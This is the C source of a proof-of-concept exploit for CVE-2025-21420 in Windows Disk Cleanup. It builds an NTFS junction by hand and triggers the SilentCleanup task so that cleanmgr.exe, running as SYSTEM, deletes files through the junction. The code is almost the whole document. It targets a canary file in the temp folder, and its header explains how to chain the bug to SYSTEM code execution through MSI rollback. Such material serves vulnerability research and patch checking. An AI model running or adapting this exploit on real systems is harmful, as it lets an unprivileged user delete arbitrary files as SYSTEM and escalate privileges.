/*
 * CVE-2025-21420 — cleanmgr.exe Junction Abuse (Missing Redirection Guard) PoC
 *
 * Description:
 *   Demonstrates the junction-following vulnerability in Windows Disk Cleanup.
 *   The pre-patch cleanmgr.exe does not call SetProcessMitigationPolicy to
 *   enable ProcessRedirectionTrustPolicy (Redirection Guard). When the
 *   SilentCleanup scheduled task runs cleanmgr.exe as SYSTEM, it follows
 *   junctions created by standard users, enabling arbitrary file/folder
 *   deletion as SYSTEM.
 *
 *   This PoC:
 *   1. Creates a test target directory with a canary file
 *   2. Creates a temp directory that cleanup clients will process
 *   3. Plants an NTFS junction from the temp directory to the test target
 *   4. Triggers the SilentCleanup scheduled task
 *   5. Checks whether the canary file was deleted (proving junction was followed)
 *
 * Reaching the Bug (Attack Surface):
 *   User-mode entry point:
 *     schtasks.exe /run /tn "\Microsoft\Windows\DiskCleanup\SilentCleanup"
 *       → Task Scheduler launches cleanmgr.exe /autoclean /d C:
 *         → WinMainT() [NO SetProcessMitigationPolicy call]
 *           → ParseCommandLine() → gets SAGERUN/AUTOCLEAN flags
 *           → CleanupMgrInfo::CleanupMgrInfo()
 *           → CleanupMgrInfo::purgeClients()
 *             → IEmptyVolumeCache::Purge() on each cleanup client
 *               → DeleteFileW / RemoveDirectoryW follows junction
 *                 → kernel resolves reparse point → reaches attacker target
 *
 *   No special APIs needed — just mklink /J (or CreateSymbolicLinkW with
 *   SYMBOLIC_LINK_FLAG_DIRECTORY) and schtasks. Both available to standard users.
 *
 * Impact:
 *   Arbitrary file/folder deletion as SYSTEM. Can be chained with MSI rollback
 *   (C:\Config.Msi junction) for full SYSTEM code execution.
 *
 * Usage:
 *   cl.exe /W4 poc_cve_2025_21420.c /Fe:poc_cve_2025_21420.exe /link advapi32.lib
 *   poc_cve_2025_21420.exe
 *
 * Expected output (pre-patch):
 *   [+] Canary file DELETED — cleanmgr.exe followed the junction!
 *   [!] SYSTEM IS VULNERABLE to CVE-2025-21420.
 *
 * Expected output (post-patch):
 *   [*] Canary file intact — Redirection Guard prevented junction following.
 *   [*] System appears PATCHED.
 *
 * Author: OnlyFm252
 * Date:   2026-07-17
 * CVE:    CVE-2025-21420
 *
 * DISCLAIMER: This code is provided for defensive security research and blue
 * team detection testing ONLY. Do not use for unauthorized access. This PoC
 * targets a BENIGN test directory, not system files.
 */

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <shlobj.h>
#include <winioctl.h>

/*
 * REPARSE_DATA_BUFFER — not defined in standard SDK headers.
 * Used to create NTFS junction points (mount points) programmatically.
 */
typedef struct _REPARSE_DATA_BUFFER_CUSTOM {
    ULONG  ReparseTag;
    USHORT ReparseDataLength;
    USHORT Reserved;
    union {
        struct {
            USHORT SubstituteNameOffset;
            USHORT SubstituteNameLength;
            USHORT PrintNameOffset;
            USHORT PrintNameLength;
            WCHAR  PathBuffer[1];
        } MountPointReparseBuffer;
    } u;
} REPARSE_DATA_BUFFER_CUSTOM;

#define REPARSE_DATA_BUFFER_HEADER_SIZE \
    FIELD_OFFSET(REPARSE_DATA_BUFFER_CUSTOM, u)

/*
 * create_junction — Create an NTFS junction (mount point) from source to target.
 *
 * This is equivalent to: mklink /J source target
 *
 * The junction allows cleanmgr.exe (SYSTEM) to follow the reparse point
 * and operate on 'target' when it thinks it's operating on 'source'.
 */
static BOOL create_junction(const WCHAR *junction_dir, const WCHAR *target_dir)
{
    HANDLE hDir;
    WCHAR nt_target[MAX_PATH + 4];
    DWORD bytes_returned;
    USHORT target_len;
    USHORT reparse_data_size;
    BYTE buffer[REPARSE_DATA_BUFFER_HEADER_SIZE +
                sizeof(((REPARSE_DATA_BUFFER_CUSTOM*)0)->u.MountPointReparseBuffer) +
                (MAX_PATH + 4) * sizeof(WCHAR) * 2];
    REPARSE_DATA_BUFFER_CUSTOM *rdb = (REPARSE_DATA_BUFFER_CUSTOM *)buffer;

    /* Create the junction source directory (must be empty) */
    if (!CreateDirectoryW(junction_dir, NULL)) {
        if (GetLastError() != ERROR_ALREADY_EXISTS) {
            printf("[!] CreateDirectoryW(%ls) failed: %lu\n", junction_dir, GetLastError());
            return FALSE;
        }
    }

    /* Build NT path for target: \??\C:\path\to\target */
    swprintf_s(nt_target, MAX_PATH + 4, L"\\??\\%s", target_dir);
    target_len = (USHORT)(wcslen(nt_target) * sizeof(WCHAR));

    /* Open the junction directory with reparse point access */
    hDir = CreateFileW(
        junction_dir,
        GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT,
        NULL);

    if (hDir == INVALID_HANDLE_VALUE) {
        printf("[!] CreateFileW(%ls) failed: %lu\n", junction_dir, GetLastError());
        return FALSE;
    }

    /* Build the reparse data buffer */
    ZeroMemory(buffer, sizeof(buffer));
    rdb->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;

    rdb->u.MountPointReparseBuffer.SubstituteNameOffset = 0;
    rdb->u.MountPointReparseBuffer.SubstituteNameLength = target_len;
    rdb->u.MountPointReparseBuffer.PrintNameOffset = target_len + sizeof(WCHAR);
    rdb->u.MountPointReparseBuffer.PrintNameLength = 0;

    memcpy(rdb->u.MountPointReparseBuffer.PathBuffer,
           nt_target, target_len + sizeof(WCHAR));

    reparse_data_size = (USHORT)(
        FIELD_OFFSET(REPARSE_DATA_BUFFER_CUSTOM, u.MountPointReparseBuffer.PathBuffer) -
        REPARSE_DATA_BUFFER_HEADER_SIZE +
        target_len + sizeof(WCHAR) +  /* SubstituteName + null */
        sizeof(WCHAR)                  /* PrintName null */
    );
    rdb->ReparseDataLength = reparse_data_size;

    /* Set the reparse point */
    if (!DeviceIoControl(
            hDir,
            FSCTL_SET_REPARSE_POINT,
            rdb,
            REPARSE_DATA_BUFFER_HEADER_SIZE + reparse_data_size,
            NULL, 0,
            &bytes_returned, NULL))
    {
        printf("[!] FSCTL_SET_REPARSE_POINT failed: %lu\n", GetLastError());
        CloseHandle(hDir);
        return FALSE;
    }

    CloseHandle(hDir);
    return TRUE;
}

/*
 * trigger_silent_cleanup — Trigger the SilentCleanup scheduled task.
 *
 * This causes Task Scheduler to launch cleanmgr.exe with /autoclean /d C:
 * running as SYSTEM (highest available privileges).
 *
 * Any standard user can run this — no elevation needed.
 */
static BOOL trigger_silent_cleanup(void)
{
    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    WCHAR cmdline[] = L"schtasks.exe /run /tn \"\\Microsoft\\Windows\\DiskCleanup\\SilentCleanup\"";

    printf("[*] Triggering SilentCleanup scheduled task...\n");
    printf("    Command: %ls\n", cmdline);

    if (!CreateProcessW(NULL, cmdline, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
        printf("[!] CreateProcessW failed: %lu\n", GetLastError());
        return FALSE;
    }

    WaitForSingleObject(pi.hProcess, 5000);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return TRUE;
}

int wmain(void)
{
    WCHAR temp_path[MAX_PATH];
    WCHAR junction_dir[MAX_PATH];
    WCHAR target_dir[MAX_PATH];
    WCHAR canary_file[MAX_PATH];
    WCHAR dummy_file[MAX_PATH];
    HANDLE hFile;

    printf("=== CVE-2025-21420 — cleanmgr.exe Junction Abuse PoC ===\n\n");

    /* ----------------------------------------------------------------
     * Step 1: Set up test target directory with canary file
     * This is the directory we want cleanmgr.exe to follow the
     * junction into. We use a benign test directory.
     * ---------------------------------------------------------------- */
    GetTempPathW(MAX_PATH, temp_path);
    swprintf_s(target_dir, MAX_PATH, L"%scve_2025_21420_target", temp_path);
    swprintf_s(canary_file, MAX_PATH, L"%s\\canary.txt", target_dir);

    printf("[1] Creating test target directory: %ls\n", target_dir);
    CreateDirectoryW(target_dir, NULL);

    /* Create canary file — if this gets deleted, the junction was followed */
    hFile = CreateFileW(canary_file, GENERIC_WRITE, 0, NULL,
                        CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile != INVALID_HANDLE_VALUE) {
        const char *msg = "CVE-2025-21420 canary — if deleted, junction was followed\r\n";
        DWORD written;
        WriteFile(hFile, msg, (DWORD)strlen(msg), &written, NULL);
        CloseHandle(hFile);
        printf("    Canary file created: %ls\n", canary_file);
    } else {
        printf("[!] Failed to create canary file: %lu\n", GetLastError());
        return 1;
    }

    /* ----------------------------------------------------------------
     * Step 2: Create a temp cleanup directory with dummy content
     * This simulates a directory that a cleanup client would process.
     * We populate it with files so the cleanup client considers it
     * for deletion.
     * ---------------------------------------------------------------- */
    swprintf_s(junction_dir, MAX_PATH, L"%scve_2025_21420_cleanup", temp_path);
    printf("\n[2] Creating cleanup temp directory: %ls\n", junction_dir);

    /* Remove existing junction/directory if present */
    RemoveDirectoryW(junction_dir);
    CreateDirectoryW(junction_dir, NULL);

    /* Create dummy files in the cleanup directory */
    swprintf_s(dummy_file, MAX_PATH, L"%s\\old_cache_001.tmp", junction_dir);
    hFile = CreateFileW(dummy_file, GENERIC_WRITE, 0, NULL,
                        CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile != INVALID_HANDLE_VALUE) {
        CloseHandle(hFile);
    }

    /* ----------------------------------------------------------------
     * Step 3: Replace the cleanup directory with a junction to target
     * ---------------------------------------------------------------- */
    printf("\n[3] Creating NTFS junction:\n");
    printf("    Source (junction): %ls\n", junction_dir);
    printf("    Target:           %ls\n", target_dir);

    /* Remove the directory first (must be empty for junction creation) */
    DeleteFileW(dummy_file);
    RemoveDirectoryW(junction_dir);

    if (!create_junction(junction_dir, target_dir)) {
        printf("[!] Failed to create junction. Aborting.\n");
        return 1;
    }
    printf("    Junction created successfully.\n");

    /* ----------------------------------------------------------------
     * Step 4: Trigger SilentCleanup
     * cleanmgr.exe will run as SYSTEM and enumerate cleanup targets.
     * Without Redirection Guard, it follows our junction.
     * ---------------------------------------------------------------- */
    printf("\n[4] Triggering SilentCleanup...\n");
    if (!trigger_silent_cleanup()) {
        printf("[!] Failed to trigger SilentCleanup.\n");
        printf("    Try manually: schtasks /run /tn \"\\Microsoft\\Windows\\DiskCleanup\\SilentCleanup\"\n");
    }

    /* Wait for cleanmgr.exe to process */
    printf("    Waiting for cleanmgr.exe to process (15 seconds)...\n");
    Sleep(15000);

    /* ----------------------------------------------------------------
     * Step 5: Check if canary file was deleted
     * ---------------------------------------------------------------- */
    printf("\n[5] Checking canary file...\n");
    if (GetFileAttributesW(canary_file) == INVALID_FILE_ATTRIBUTES) {
        printf("\n    [+] Canary file DELETED — cleanmgr.exe followed the junction!\n");
        printf("    [!] SYSTEM IS VULNERABLE to CVE-2025-21420.\n");
        printf("    [!] cleanmgr.exe (SYSTEM) deleted files through user-created junction.\n");
        printf("    [!] This can be weaponized to delete arbitrary files as SYSTEM.\n");
    } else {
        printf("\n    [*] Canary file intact — Redirection Guard prevented junction following.\n");
        printf("    [*] System appears PATCHED (post-KB5051987).\n");
        printf("    [*] SetProcessMitigationPolicy(ProcessRedirectionTrustPolicy) is active.\n");
    }

    /* ----------------------------------------------------------------
     * Cleanup: remove test artifacts
     * ---------------------------------------------------------------- */
    printf("\n[*] Cleaning up test artifacts...\n");
    DeleteFileW(canary_file);
    RemoveDirectoryW(target_dir);
    RemoveDirectoryW(junction_dir);  /* removes junction point */

    printf("\n=== Done. ===\n");
    return 0;
}
